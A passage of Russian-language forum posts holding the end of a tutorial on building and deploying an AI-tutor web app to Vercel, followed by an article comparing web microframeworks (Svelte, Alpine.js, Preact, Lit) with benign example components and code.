  }


  private static identifyWeakAreas(results: TestResult[]): string[] {
    const weakAreaCount: Record<string, number> = {};


    results.forEach((result) =>
      (result.incorrectAnswers || []).forEach((answer) => {
        weakAreaCount[answer] = (weakAreaCount[answer] || 0) + 1;
      })
    );


    return Object.entries(weakAreaCount)
      .sort(([, countA], [, countB]) => countB - countA)
      .map(([area]) => area)
      .slice(0, 5);
  }


  private static calculateStudyTime(session: LearningSession): number {
    if (!session.history.length) return 0;


    const validHistory = session.history.filter(
      (entry) => entry?.timestamp && !isNaN(new Date(entry.timestamp).getTime())
    );


    if (validHistory.length < 2) return 0;


    const startTime = new Date(validHistory[0].timestamp).getTime();
    const lastActivity = new Date(
      validHistory[validHistory.length - 1].timestamp
    ).getTime();


    return Math.round((lastActivity - startTime) / 60000);
  }


  private static analyzeNotes(notes: UserNote[]): NoteAnalysis {
    const commonTags = this.getCommonTags(notes);
    const notesPerDay = this.getNotesFrequency(notes);


    return {
      commonTags,
      notesPerDay,
      totalNotes: notes.length,
    };
  }


  private static getCommonTags(notes: UserNote[]): string[] {
    const tagCount: Record<string, number> = notes
      .flatMap((n) => n.tags || [])
      .reduce((acc: Record<string, number>, tag: string) => {
        acc[tag] = (acc[tag] || 0) + 1;
        return acc;
      }, {});


    return Object.entries(tagCount)
      .sort(([, countA], [, countB]) => countB - countA)
      .slice(0, 5)
      .map(([tag]) => tag);
  }


  private static getNotesFrequency(notes: UserNote[]): Record<string, number> {
    return notes.reduce((acc: Record<string, number>, note) => {
      const date = new Date(note.timestamp).toISOString().split("T")[0];
      acc[date] = (acc[date] || 0) + 1;
      return acc;
    }, {});
  }


  private static generateReviewRecommendations(
    results: TestResult[]
  ): string[] {
    const weakAreas = this.identifyWeakAreas(results);
    return weakAreas.map((area) => `Рекомендуется повторить: ${area}`);
  }
}

Итак, код анализирует успеваемость учащегося, предоставляя метрики на основе данных о сессиях обучения. Метод analyzePerformance возвращает информацию о среднем балле, слабых зонах, времени обучения, анализе заметок и рекомендациях по повторению. Для этого используются вспомогательные методы: calculateAverageScore, который вычисляет средний балл, identifyWeakAreas, выявляющий слабые зоны по неправильным ответам, и calculateStudyTime, оценивающий время обучения по временным меткам. Метод analyzeNotes анализирует заметки, выделяя популярные теги и частоту их создания, а generateReviewRecommendations предоставляет рекомендации по повторению на основе слабых областей.

Разберем финальный файл — spaced-repetition.ts:

JavaScript:Copy to clipboard

import { LearningSession, ReviewSchedule } from "../types";


export class SpacedRepetition {
  private static readonly INTERVALS = [1, 3, 7, 14, 30]; // дни


  static calculateNextReview(
    currentStage: number,
    lastReviewDate: Date,
    performance: number
  ): Date {
    const interval =
      this.INTERVALS[currentStage] || this.INTERVALS[this.INTERVALS.length - 1];
    const adjustedInterval = this.adjustIntervalByPerformance(
      interval,
      performance
    );


    const nextReview = new Date(lastReviewDate);
    nextReview.setDate(nextReview.getDate() + adjustedInterval);


    return nextReview;
  }


  private static adjustIntervalByPerformance(
    interval: number,
    performance: number
  ): number {
    // Корректируем интервал на основе успешности выполнения
    const adjustment =
      performance < 70
        ? 0.5 // уменьшаем интервал при плохом результате
        : performance > 90
        ? 1.5 // увеличиваем при отличном
        : 1; // оставляем без изменений при среднем


    return Math.round(interval * adjustment);
  }


  static generateReviewSchedule(session: LearningSession): ReviewSchedule[] {
    return session.testResults.map((result, index) => ({
      stepId: result.stepId,
      nextReview: this.calculateNextReview(
        index,
        result.completedAt,
        result.score
      ),
      topic: session.history[result.stepId].content.substring(0, 100) + "...",
      importance: this.calculateImportance(result.score),
    }));
  }


  private static calculateImportance(score: number): "high" | "medium" | "low" {
    if (score < 70) return "high";
    if (score < 85) return "medium";
    return "low";
  }
}

Класс SpacedRepetition реализует систему интервального повторения для эффективного запоминания материалов. Метод calculateNextReview рассчитывает дату следующего повторения, основываясь на текущем этапе, дате последнего повторения и оценке выполнения. Интервал между повторениями выбирается из заранее заданных значений, которые корректируются в зависимости от успешности выполнения (при плохом результате интервал сокращается, а при отличном — увеличивается).

Метод generateReviewSchedule генерирует расписание повторений для всех шагов в сессии обучения, определяя дату следующего повторения и важность материала в зависимости от балла. Для оценки важности используется метод calculateImportance, который присваивает высокий, средний или низкий приоритет в зависимости от результатов теста.

Деплой приложения на хостинг​

Давайте также выложим наш сайт на популярный хостинг - Vercel.

Vercel — это облачный хостинг для фронтенд-приложений с фокусом на разработчиков. Он позволяет легко развертывать сайты и приложения, интегрируется с GitHub и GitLab, автоматически развертывая изменения с каждым коммитом.

Screenshot 2024-11-20 002921.png

Прежде всего, вам нужно создать аккаунт. Лучше всего использовать свой личный GitHub для удобства авторизации и работы с репозиториями. После этого выполните импорт необходимого репозитория.

Screenshot 2024-11-20 003119.png

Не забудьте передать свой ключ API. Без него взаимодействие с ИИ невозможно, так как ключ обеспечивает доступ к необходимым ресурсам.

Screenshot 2024-11-20 003159.png

Умные читатели могли заметить, что ранее возникала ошибка при установке пакета recharts. Решение оказалось простым: добавление флага --force. Теперь мы обновили процесс установки на платформе Vercel, чтобы избежать ручного вмешательства.

Screenshot 2024-11-20 004251.png

Что делает этот postinstall? Вот:

Screenshot 2024-11-20 005007.png

Он устанавливает каждый пакет с --force в конце, в том числе наш проблемный recharts. Процесс может занимать довольно таки много времени - от 5 до 15 минут. Это нормально, нужно просто подождать. Но не в нашем случае:

Screenshot 2024-11-20 005848.png

Видим, что процесс занимает уж больно много времени проекта небольшого размера. Увидев логи, приходим к выводу, что скрипт просто начинает бесконечный цикл установок. Давайте это исправим:

Screenshot 2024-11-20 010218.png

Чтобы устранить эту проблему, также обновите файл конфигурации next.config.js, добавив следующий код:

JavaScript:Copy to clipboard

/** @type {import('next').NextConfig} */
const nextConfig = {
  reactStrictMode: true,
  eslint: {
    ignoreDuringBuilds: true,
  },
}


module.exports = nextConfig;

После внесения исправлений приложение успешно развернется на Vercel:

Screenshot 2024-11-20 010750.png

Напомню, что для полной функциональности приложения могут потребоваться правки в коде. Это необходимо, чтобы проект корректно работал как на локальной машине, так и на доменном хостинге. Я уже за этим успеть не смогу.

Заключение​

Статья вышла довольно большой, но объяснения старался сделать как можно проще для людей с минимальными знаниями, поэтому важно вчитываться в текст и не пропускать описание возможных проблем. Сегодня мы с вами построили и задеплоили (почти) наше приложение. Построив этот проект, мы разобрались в том как взаимодействовать со сторонними API на сайте и взаимодействия этих API с пользователем. Построили умную систему обучения и научились простыми методами оптимизировать его работу. Наконец, мы поработали над дизайном и реализовали достаточно красивый внешний вид проекту.

Ссылка на Github проект: https://github.com/ElonMusk2002/ai-teacher
Ссылка на видео с работой проекта:

https://imgur.com/a/lMYOvVn

Свайп влево для React, свайп вправо для микрофреймворков: история выбора веб-разработчика
ID: 67668b27b4103b69df375cb6
Thread ID: 124149
Created: 2024-10-05T10:45:23+0000
Last Post: 2024-10-05T10:45:23+0000
Author: hackeryaroslav
Prefix: Статья
Replies: 0 Views: 487

Авторство: hackeryaroslav​

Источник: xss.is​

В веб-разработки, где господствуют гиганты вроде React, Angular и Vue.js, существует альтернативный подход, который набирает популярность среди разработчиков, ищущих более легковесные и эффективные решения. Речь идет о микрофреймворках — минималистичных инструментах, которые предлагают разработчикам возможность создавать быстрые и эффективные веб-приложения без излишней сложности и избыточного кода. В этой статье мы глубоко погрузимся в мир микрофреймворков, рассмотрим их преимущества, особенности и применение в современной веб-разработке. Статья будет в 2 частях.

qcDti889T-uTAWewGWT02g.png

Содержание (примерное)​

  1. Введение в микрофреймворки
  2. Сравнение с традиционными фреймворками
  3. Популярные микрофреймворки
  4. Преимущества использования микрофреймворков
  5. Практическое применение
  6. Производительность и оптимизация
  7. Экосистема и инструменты
  8. Выбор микрофреймворка для проекта
  9. Заключение

Введение в микрофреймворки​

Микрофреймворки — это легковесные библиотеки и инструменты для создания веб- приложений, которые предоставляют минимальный набор функций, необходимых для разработки. В отличие от полноценных фреймворков, таких как Angular или React, микрофреймворки фокусируются на конкретных задачах и стараются решать их максимально эффективно, не обременяя разработчика лишними абстракциями и сложностями.

Ключевые характеристики микрофреймворков:

  1. Минимализм : Предоставляют только необходимый функционал, избегая избыточности.
  2. Легковесность : Имеют небольшой размер, что положительно влияет на время загрузки приложения.
  3. Простота : Легки в освоении и использовании, часто не требуют сложной конфигурации.
  4. Производительность : Оптимизированы для быстрой работы и эффективного использования ресурсов.
  5. Гибкость : Легко интегрируются с другими библиотеками и инструментами.

Сравнение с традиционными фреймворками​

Чтобы лучше понять место микрофреймворков в экосистеме веб-разработки, я постарался создать таблицу, давайте сравним их с традиционными фреймворками:

Характеристика| Традиционные фреймворки| Микрофреймворки
---|---|---
Размер| Большой (часто >100 КБ)| Маленький (<10-20 КБ)
Функциональность| Обширная, покрывает многие аспекты разработки| Минимальная, фокус на конкретных задачах
Кривая обучения| Крутая, требует времени на освоение| Пологая, быстрое освоение
Экосистема| Развитая, много готовых решений| Ограниченная, но растущая
Производительность| Может быть высокой, но часто требует оптимизации| Высокая "из коробки"
Гибкость| Ограниченная архитектурными решениями| Высокая, легко комбинировать с другими инструментами

Микрофреймворки могут быть предпочтительным выбором для проектов, где важны скорость разработки, производительность и минимальный объем кода.

Популярные микрофреймворки​

Рассмотрим несколько популярных микрофреймворков, которые активно используются в современной веб-разработке.

Svelte​

Svelte — это компилируемый фреймворк, который преобразует ваш код в высокооптимизированный JavaScript во время сборки. В моем мнении, самый встречаемый и популярный.

stackoverflow-dev-survey-2024-technology-most-popular-technologies-webframe- social.png stackoverflow-dev- survey-2024-technology-admired-and-desired-webframe-desire-admire- social.png

Ключевые особенности Svelte:

  • Компиляция во время сборки
  • Реактивность на уровне присваивания
  • Минимальный шаблонный синтаксис
  • Встроенная анимация и переходы
  • Отсутствие виртуального DOM

Пример компонента Svelte:

JavaScript:Copy to clipboard

<script>
let count = 0;

function handleClick() {
count += 1;
}
</script>

<button on:click={handleClick}>
Кликнуто {count} {count === 1 ? 'раз' : 'раза'}
</button>

<style>
button {
font-family: inherit;
font-size: inherit;
padding: 1em 2em;
color: #ff3e00;
background-color: rgba(255, 62, 0, 0.1);
border-radius: 2em;
border: 2px solid #ff3e00;
outline: none;
width: 200px;
cursor: pointer;
}

button:hover {
background-color: rgba(255, 62, 0, 0.2);
}
</style>

Alpine.js​

Alpine.js — это легковесный фреймворк для добавления интерактивности на веб- страницы с минимальным JavaScript.

Особенности Alpine.js:

  • Декларативный синтаксис
  • Работает без сборки
  • Легкая интеграция в существующие проекты
  • Минимальный API

Пример использования Alpine.js:

JavaScript:Copy to clipboard

<div x-data="{ open: false }">
<button @click="open = !open">Показать/Скрыть</button>

<div x-show="open" x-transition>
Это скрытый контент!
</div>
</div>

<script src="https://unpkg.com/alpinejs@3.14.1/dist/cdn.min.js"></script>

Preact​

Preact — это быстрая альтернатива React с тем же современным API.

Ключевые особенности Preact:

  • Совместимость с экосистемой React
  • Крошечный размер (около 3 КБ)
  • Виртуальный DOM и декларативное обновление UI
  • Поддержка JSX

Пример компонента Preact:

JavaScript:Copy to clipboard

import { h, Component } from 'preact';

class Counter extends Component {
state = { count: 0 };

increment = () => {
this.setState(prevState => ({ count: prevState.count + 1 }));
};

render({ }, { count }) {
return (
<div>
<h1>Счетчик: {count}</h1>
<button onClick={this.increment}>Увеличить</button>
</div>
);
}
}

export default Counter;

Lit​

Lit — это легкая библиотека для создания быстрых и легких веб-компонентов.

Особенности Lit:

  • Основан на веб-компонентах
  • Реактивное обновление UI
  • Эффективный рендеринг с использованием шаблонных литералов
  • Совместимость с любым фреймворком или без фреймворка

Пример компонента Lit:

JavaScript:Copy to clipboard

import { LitElement, html, css } from 'lit';

class SimpleGreeting extends LitElement {
static properties = {
name: { type: String }
};

static styles = css`
p { color: blue; }
`;

constructor() {
super();
this.name = 'Somebody';
}

render() {
return html`<p>Hello, ${this.name}!</p>`;
}
}

customElements.define('simple-greeting', SimpleGreeting);

Преимущества использования микрофреймворков​

Микрофреймворки обеспечивают высокую производительность, гибкость и легкость в поддержке, что делает их идеальными для мобильных устройств и проектов с ограниченными ресурсами.

Давайте расскажу какие преимущества тут проявляются. Очевидно, одним из ключевых является улучшенная производительность, достигаемая за счет минималистичного подхода к разработке. Микрофреймворки включают только самые необходимые функции, что существенно снижает нагрузку на систему, особенно на мобильных устройствах и при работе с медленным интернет-соединением. Следовательно, эта оптимизация кода позволяет веб-страницам загружаться быстрее, так как браузер загружает и обрабатывает меньшие объемы JavaScript, что ускоряет доступ к контенту.

Еще одним важным преимуществом является простота изучения микрофреймворков. Они обладают минимальным набором абстракций и простым API, что облегчает их освоение, особенно для начинающих разработчиков. Благодаря этому новички могут быстрее приступить к работе с проектами, экономя их время на обучение. Микрофреймворки также предоставляют разработчикам большую гибкость и контроль над архитектурой приложения, давая возможность самостоятельно выбирать дополнительные инструменты и библиотеки в зависимости от нужд проекта.

Кроме того, микрофреймворки обеспечивают легкость поддержки проектов. Меньший объем кода ведет к снижению вероятности возникновения ошибок, а также упрощает поддержку и масштабирование приложения в долгосрочной перспективе. Эффективное использование ресурсов также играет роль, особенно для мобильных устройств и устройств с ограниченными вычислительными возможностями. Они требуют минимальных ресурсов, что делает их идеальным выбором для создания высокопроизводительных мобильных приложений.

Не забудем и про SEO. Благодаря более быстрой загрузке и оптимизированному рендерингу, сайты на базе микрофреймворков получают преимущество в поисковой оптимизации, что может положительно сказаться на ранжировании в поисковых системах. Также стоит отметить легкость интеграции микрофреймворков в существующие проекты. Благодаря их гибкой архитектуре, разработчики могут постепенно внедрять новые функции без необходимости полностью переписывать код, что позволяет обновлять проект поэтапно и без значительных затрат времени и ресурсов.

Практическое применение​

Чтобы лучше понять, как микрофреймворки применяются на практике, рассмотрим два примера проектов: один на Svelte и один на Alpine.js.

Пример проекта на Svelte​

Давайте создадим простое приложение для управления задачами (Todo List) с использованием Svelte.

JavaScript:Copy to clipboard

<script>
  let tasks = [];
  let newTaskTitle = '';

  function addTask() {
    if (newTaskTitle.trim()) {
      tasks = [...tasks, { id: Date.now(), title: newTaskTitle, completed: false }];
      newTaskTitle = '';
    }
  }

  function toggleTask(id) {
    tasks = tasks.map(task =>
      task.id === id ? { ...task, completed: !task.completed } : task
    );
  }

  function removeTask(id) {
    tasks = tasks.filter(task => task.id !== id);
  }
</script>

<main>
  <h1>Список задач</h1>
 
  <form on:submit|preventDefault={addTask}>
    <input
      bind:value={newTaskTitle}
      placeholder="Добавить новую задачу"
    />
    <button type="submit">Добавить</button>
  </form>

  <ul>
    {#each tasks as task (task.id)}
      <li class:completed={task.completed}>
        <input
          type="checkbox"
          checked={task.completed}
          on:change={() => toggleTask(task.id)}
        />
        <span>{task.title}</span>
        <button on:click={() => removeTask(task.id)}>Удалить</button>
      </li>
    {/each}
  </ul>
</main>

<style>
  main {
    max-width: 500px;
    margin: 40px auto;
    padding: 20px;
    background-color: #f9f9f9;
    border-radius: 8px;
    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
  }

  h1 {
    text-align: center;
    color: #333;
  }

  form {
    display: flex;
    margin-bottom: 20px;
  }

  input[type="text"] {
    flex-grow: 1;
    padding: 10px;
    font-size: 16px;
    border: 1px solid #ccc;
    border-radius: 4px;
  }

  input[type="text"]::placeholder {
    color: #aaa;
  }

  button {
    padding: 10px 15px;
    margin-left: 10px;
    font-size: 16px;
    background-color: #4CAF50;
    color: white;
    border: none;
    border-radius: 4px;
    cursor: pointer;
    transition: background-color 0.3s ease;
  }

  button:hover {
    background-color: #45a049;
  }

  ul {
    list-style-type: none;
    padding: 0;
  }

  li {
    display: flex;
    align-items: center;
    padding: 10px;
    margin-bottom: 10px;
    background-color: white;
    border-radius: 4px;
    border: 1px solid #ddd;
    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
    transition: background-color 0.3s ease;
  }

  li:hover {
    background-color: #f1f1f1;
  }

  li input[type="checkbox"] {
    margin-right: 15px;
  }

  li span {
    flex-grow: 1;
    font-size: 16px;
  }

  .completed span {
    text-decoration: line-through;
    color: #888;
  }

  li button {
    padding: 5px 10px;
    background-color: #f44336;
    color: white;
    border: none;
    border-radius: 4px;
    cursor: pointer;
    transition: background-color 0.3s ease;
  }

  li button:hover {
    background-color: #e53935;
  }
</style>

Screenshot 2024-10-05 140451.png

Вот что мы смогли сделать:

1. Реактивные объявления : Svelte автоматически обновляет DOM при изменении переменных, объявленных в секции <script>.
2. Компонентная структура : Весь код приложения находится в одном файле.
3. Встроенные стили : CSS определяется внутри компонента и автоматически изолируется.
4. Декларативный рендеринг : Директива {#each} используется для рендеринга списка задач.
5. Двустороннее связывание : Директива bind:value используется для связывания значения input с переменной newTaskTitle.
6. Обработка событий : Svelte предоставляет простой способ обработки событий с помощью директивы on:.

Пример проекта на Alpine.js

Теперь давайте реализуем похожее приложение для управления задачами с использованием Alpine.js:

JavaScript:Copy to clipboard

<!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Todo List - Alpine.js</title>
    <script src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js" defer></script>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 500px;
            margin: 0 auto;
            padding: 20px;
        }
        form {
            display: flex;
            margin-bottom: 20px;
        }
        input[type="text"] {
            flex-grow: 1;
            padding: 5px;
            font-size: 16px;
        }
        button {
            padding: 5px 10px;
            font-size: 16px;
            background-color: #4CAF50;
            color: white;
            border: none;
            cursor: pointer;
        }
        ul {
            list-style-type: none;
            padding: 0;
        }
        li {
            display: flex;
            align-items: center;
            padding: 10px 0;
            border-bottom: 1px solid #eee;
        }
        .completed {
            text-decoration: line-through;
            color: #888;
        }
        li button {
            margin-left: auto;
            background-color: #f44336;
        }
    </style>
</head>
<body>
    <div x-data="todoApp()">
        <h1>Список задач</h1>
       
        <form @submit.prevent="addTask">
            <input
                type="text"
                x-model="newTaskTitle"
                placeholder="Добавить новую задачу"
            >
            <button type="submit">Добавить</button>
        </form>

        <ul>
            <template x-for="task in tasks" :key="task.id">
                <li :class="{ 'completed': task.completed }">
                    <input
                        type="checkbox"
                        :checked="task.completed"
                        @change="toggleTask(task.id)"
                    >
                    <span x-text="task.title"></span>
                    <button @click="removeTask(task.id)">Удалить</button>
                </li>
            </template>
        </ul>
    </div>

    <script>
        function todoApp() {
            return {
                tasks: [],
                newTaskTitle: '',
                addTask() {
                    if (this.newTaskTitle.trim()) {
                        this.tasks.push({
                            id: Date.now(),
                            title: this.newTaskTitle,
                            completed: false
                        });
                        this.newTaskTitle = '';
                    }
                },
                toggleTask(id) {
                    const task = this.tasks.find(t => t.id === id);
                    if (task) {
                        task.completed = !task.completed;
                    }
                },
                removeTask(id) {
                    this.tasks = this.tasks.filter(t => t.id !== id);
                }
            }
        }
    </script>
</body>
</html>

Screenshot 2024-10-05 141158.png

В этом коде, с помощью Alpine.js было показано несколько особенностей, а именно:

  1. Декларативный подход : Вся логика приложения определяется с помощью атрибутов HTML и выражений JavaScript.
  2. Компонентная модель : Компонент определяется с помощью функции todoApp(), которая возвращает объект с данными и методами.
  3. Реактивность : Alpine.js автоматически обновляет DOM при изменении данных.
  4. Простота интеграции : Alpine.js легко интегрируется в существующую HTML-структуру без необходимости компиляции.
  5. Минимальный JavaScript : Большая часть функциональности реализована с помощью директив Alpine.js, что минимизирует количество необходимого JavaScript-кода.

Также рекомендую почитать эту статью - [тык](https://css-tricks.com/alpine-js- the-javascript-framework-thats-used-like-jquery-written-like-vue-and-inspired- by-tailwindcss/)

Производительность и оптимизация​

Одно из ключевых преимуществ микрофреймворков — их высокая производительность, то на что смотрят бОльшая часть разработчиков. Давайте рассмотрим несколько аспектов производительности и способы оптимизации приложений на микрофреймворках.

Время загрузки​

Микрофреймворки значительно уменьшают общий размер JavaScript, который нужно загрузить. Например:

  • Svelte компилирует компоненты в эффективный ванильный JavaScript, что часто приводит к меньшему размеру бандла по сравнению с React или Vue.
  • Alpine.js весит всего около 10 КБ в сжатом виде, что делает его идеальным для небольших проектов или добавления интерактивности к статическим сайтам.

Время выполнения​

Микрофреймворки часто обеспечивают лучшую производительность во время выполнения:

  • Svelte избегает накладных расходов на виртуальный DOM, выполняя точечные обновления DOM.
  • Preact использует облегченную реализацию виртуального DOM, что делает его быстрее, чем React в большинстве сценариев.

Оптимизация рендеринга​

Для оптимизации рендеринга в микрофреймворках можно использовать следующие техники:

  1. Ленивая загрузка : Загружайте компоненты только когда они нужны. Пример для Svelte:

JavaScript:Copy to clipboard

    const LazyComponent = {component: () => import('./LazyComponent.svelte'),
loading: LoadingPlaceholder,
};
  1. Мемоизация : Кэширование результатов вычислений для предотвращения ненужных перерендерингов. Пример для Preact:

JavaScript:Copy to clipboard

    import { memo } from 'preact/compat';
const MemoizedComponent = memo(({ prop }) => {
// Компонент будет перерендерен только если prop изменится
return <div>{prop}</div>;
});
  1. Виртуализация списков : Рендеринг только видимых элементов в длинных списках. Для Svelte можно использовать библиотеку svelte-virtual-list:

JavaScript:Copy to clipboard

    <script>import VirtualList from '@sveltejs/svelte-virtual-list';

let items = Array.from({ length: 1000 }, (_, i) => `Item ${i}`);
</script>

<VirtualList items={items} let:item>
<div>{item}</div>
</VirtualList>

Экосистема и инструменты​

Хотя микрофреймворки по определению минималистичны, вокруг них формируются экосистемы инструментов и библиотек, расширяющих их возможности.

Svelte​

  • SvelteKit : Фреймворк для создания приложений на Svelte с серверным рендерингом и генерацией статических сайтов.
  • Svelte Native : Позволяет создавать мобильные приложения с использованием Svelte.
  • Svelte-Motion : Библиотека для создания анимаций в Svelte-приложениях.

Alpine.js​

  • Alpine.js Plugins : Официальные плагины, расширяющие функциональность Alpine.js (например, persist для сохранения состояния, intersect для обнаружения пересечений).
  • Alpine.js Devtools : Инструменты разработчика для отладки Alpine.js приложений.

Preact​

  • Preact CLI : Инструмент командной строки для быстрого создания Preact-приложений.
  • Preact Router : Официальный роутер для Preact.
  • Preact Compat : Слой совместимости для использования библиотек React в Preact.

Lit​

  • Lit-Element : Базовый класс для создания веб-компонентов с использованием Lit.
  • Lit-Html : Эффективная библиотека для создания HTML-шаблонов в JavaScript.
  • Open-WC : Набор рекомендаций и инструментов для разработки веб-компонентов, включая поддержку Lit.

Выбор микрофреймворка для проекта​

При выборе микрофреймворка для проекта следует учитывать множество факторов. Если проект небольшой или требует минимальной интерактивности на статическом сайте, то Alpine.js станет отличным выбором благодаря своей простоте. Однако, если речь идет о создании более сложных одностраничных приложений, таких как динамичные интерфейсы, имеет смысл рассмотреть Svelte или Preact, которые обеспечат необходимую гибкость и мощность. Важным аспектом также является производительность. Svelte и Preact показывают высокие результаты, особенно на мобильных устройствах, где производительность критически важна.

Кривая обучения также играет значительную роль. Если команда имеет небольшой опыт работы с фронтенд-фреймворками, то Alpine.js предлагает наиболее пологий порог входа, в то время как Svelte и Preact потребуют чуть больше времени на освоение. Важно также оценивать экосистему, особенно если необходим доступ к широкому спектру готовых компонентов и библиотек. В этом плане Preact выгодно выделяется благодаря совместимости с React и его богатой экосистеме.

Для проектов, где важна поддержка веб-компонентов, выбор стоит остановить на Lit или Svelte, которые предоставляют удобные инструменты для создания этих компонентов. Наконец, если необходим серверный рендеринг для повышения производительности и SEO-оптимизации, то SvelteKit (для Svelte) или Next.js (для Preact) будут подходящими решениями.

Часть 2 — углубляемся

Разберем несколько моментов:

  1. Углубленное рассмотрение управления состоянием в микрофреймворках.
  2. Примеры композиции и повторного использования кода.
  3. Продвинутые техники оптимизации производительности.
  4. Практические примеры работы с внешними API.
  5. Создание анимаций в микрофреймворках.
  6. Сравнение производительности между традиционным фреймворком (React) и микрофреймворком (Svelte).

Управление состоянием​

Хотя микрофреймворки часто не требуют сложных решений для управления состоянием, в больших приложениях эта потребность может возникнуть. Рассмотрим несколько подходов:

Svelte Stores​

Svelte предоставляет встроенный механизм управления состоянием - Svelte Stores.

JavaScript:Copy to clipboard

// store.js
import { writable } from 'svelte/store';

export const count = writable(0);

// Component.svelte
<script>
import { count } from './store.js';

function increment() {
count.update(n => n + 1);
}
</script>

<button on:click={increment}>
Счетчик: {$count}
</button>

Создание простого стора для Alpine.js​

Для Alpine.js можно создать простой стор с помощью паттерна "Модуль":

JavaScript:Copy to clipboard

// store.js
const createStore = () => {
let state = {
count: 0
};

return {
getState: () => state,
increment: () => state.count++,
decrement: () => state.count--
};
};

window.store = createStore();

// В HTML
<div x-data="{ store: window.store }">
<button @click="store.increment()">+</button>
<span x-text="store.getState().count"></span>
<button @click="store.decrement()">-</button>
</div>

Композиция и повторное использование кода​

Микрофреймворки поощряют создание небольших, переиспользуемых компонентов. Рассмотрим, как это реализуется в разных фреймворках.

Svelte: использование слотов​

Слоты в Svelte позволяют создавать гибкие, переиспользуемые компоненты:

JavaScript:Copy to clipboard

<!-- Card.svelte -->
<div class="card">
<div class="card-header">
<slot name="header">Заголовок по умолчанию</slot>
</div>
<div class="card-body">
<slot>Содержимое по умолчанию</slot>
</div>
<div class="card-footer">
<slot name="footer"></slot>
</div>
</div>

<!-- Используем -->
<Card>
<h2 slot="header">Мой заголовок</h2>
<p>Это содержимое карточки</p>
<button slot="footer">Подробнее</button>
</Card>

Alpine.js: создание переиспользуемых компонентов​

В Alpine.js можно создавать переиспользуемые компоненты, определяя их как функции:

JavaScript:Copy to clipboard

<script>
function toggle() {
return {
open: false,
toggle() {
this.open = !this.open;
}
}
}
</script>

<div x-data="toggle()">
<button @click="toggle()">Переключить</button>
<div x-show="open">Скрытое содержимое</div>
</div>

Оптимизация производительности​

Рассмотрим несколько продвинутых техник оптимизации производительности для микрофреймворков.

Svelte: использование действий (actions)​

Действия в Svelte позволяют повторно использовать DOM-манипуляции:

JavaScript:Copy to clipboard

// clickOutside.js
export function clickOutside(node) {
const handleClick = event => {
if (!node.contains(event.target)) {
node.dispatchEvent(new CustomEvent('outclick'));
}
};

document.addEventListener('click', handleClick, true);

return {
destroy() {
document.removeEventListener('click', handleClick, true);
}
};
}

// Использование в компоненте
<script>
import { clickOutside } from './clickOutside.js';

let showDropdown = false;
</script>

<div use:clickOutside on:outclick={() => showDropdown = false}>
<button on:click={() => showDropdown = !showDropdown}>Меню</button>
{#if showDropdown}
<div class="dropdown">
<!-- Содержимое выпадающего меню -->
</div>
{/if}
</div>

Preact: использование useMemo для оптимизации вычислений​

В Preact (как и в React) можно использовать хук useMemo для кэширования результатов дорогостоящих вычислений:

JavaScript:Copy to clipboard

import { useMemo } from 'preact/hooks';

function ExpensiveComponent({ data }) {
const expensiveResult = useMemo(() => {
// Здесь выполняются дорогостоящие вычисления
return data.map(item => item * 2).filter(item => item > 10);
}, [data]); // Пересчитывается только при изменении data

return (
<div>
{expensiveResult.map(item => (
<div key={item}>{item}</div>
))}
</div>
);
}

Интеграция с внешними API​

Рассмотрим, как микрофреймворки могут работать с внешними API на примере получения данных о погоде.

Svelte: использование onMount для загрузки данных​

JavaScript:Copy to clipboard

<script>
import { onMount } from 'svelte';

let weather = null;

onMount(async () => {
const response = await fetch('https://api.openweathermap.org/data/2.5/weather?q=London&appid=YOUR_API_KEY');
weather = await response.json();
});
</script>

{#if weather}
<h1>Погода в {weather.name}</h1>
<p>Температура: {Math.round(weather.main.temp - 273.15)}°C</p>
<p>Описание: {weather.weather[0].description}</p>
{:else}
<p>Загрузка данных о погоде...</p>
{/if}

Alpine.js: загрузка данных с использованием x-init​

JavaScript:Copy to clipboard

<div x-data="{ weather: null }" x-init="async function() {
const response = await fetch('https://api.openweathermap.org/data/2.5/weather?q=London&appid=YOUR_API_KEY');
weather = await response.json();
}">
<template x-if="weather">
<div>
<h1 x-text="`Погода в ${weather.name}`"></h1>
<p x-text="`Температура: ${Math.round(weather.main.temp - 273.15)}°C`"></p>
<p x-text="`Описание: ${weather.weather[0].description}`"></p>
</div>
</template>
<template x-if="!weather">
<p>Загрузка данных о погоде...</p>
</template>
</div>

Создание анимаций​

Микрофреймворки также предоставляют возможности для создания плавных анимаций.

Svelte: встроенные возможности анимации​

Svelte имеет встроенную поддержку анимаций:

JavaScript:Copy to clipboard

<script>
import { fade, fly } from 'svelte/transition';
let visible = false;
</script>

<button on:click={() => visible = !visible}>
{visible ? 'Скрыть' : 'Показать'}
</button>

{#if visible}
<p transition:fly="{{ y: 200, duration: 2000 }}">
Анимированный текст
</p>
{/if}

Alpine.js: анимации с использованием классов CSS​

В Alpine.js можно использовать классы CSS для создания анимаций:

JavaScript:Copy to clipboard

<style>
.fade-enter-active, .fade-leave-active {
transition: opacity 0.5s;
}
.fade-enter, .fade-leave-to {
opacity: 0;
}
</style>

<div x-data="{ show: false }">
<button @click="show = !show">Переключить</button>

<div
x-show="show"
x-transition:enter="fade-enter-active"
x-transition:enter-start="fade-enter"
x-transition:leave="fade-leave-active"
x-transition:leave-end="fade-leave-to"
>
Анимированное содержимое
</div>
</div>

Сравнение производительности​

Давайте проведем небольшое сравнение производительности между традиционным фреймворком (React) и микрофреймворком (Svelte) на примере рендеринга большого списка.

React​

JavaScript:Copy to clipboard

import React, { useState, useCallback } from 'react';

function App() {
const [items, setItems] = useState(Array(10000).fill().map((_, i) => ({ id: i, text: `Item ${i}` })));

const handleDelete = useCallback((id) => {
setItems(items => items.filter(item => item.id !== id));
}, []);

return (
<div>
{items.map(item => (
<div key={item.id}>
{item.text}
<button onClick={() => handleDelete(item.id)}>Delete</button>
</div>
))}
</div>
);
}

export default App;

Svelte​

JavaScript:Copy to clipboard

<script>
let items = Array(10000).fill().map((_, i) => ({ id: i, text: `Item ${i}` }));

function handleDelete(id) {
items = items.filter(item => item.id !== id);
}
</script>

{#each items as item (item.id)}
<div>
{item.text}
<button on:click={() => handleDelete(item.id)}>Delete</button>
</div>
{/each}

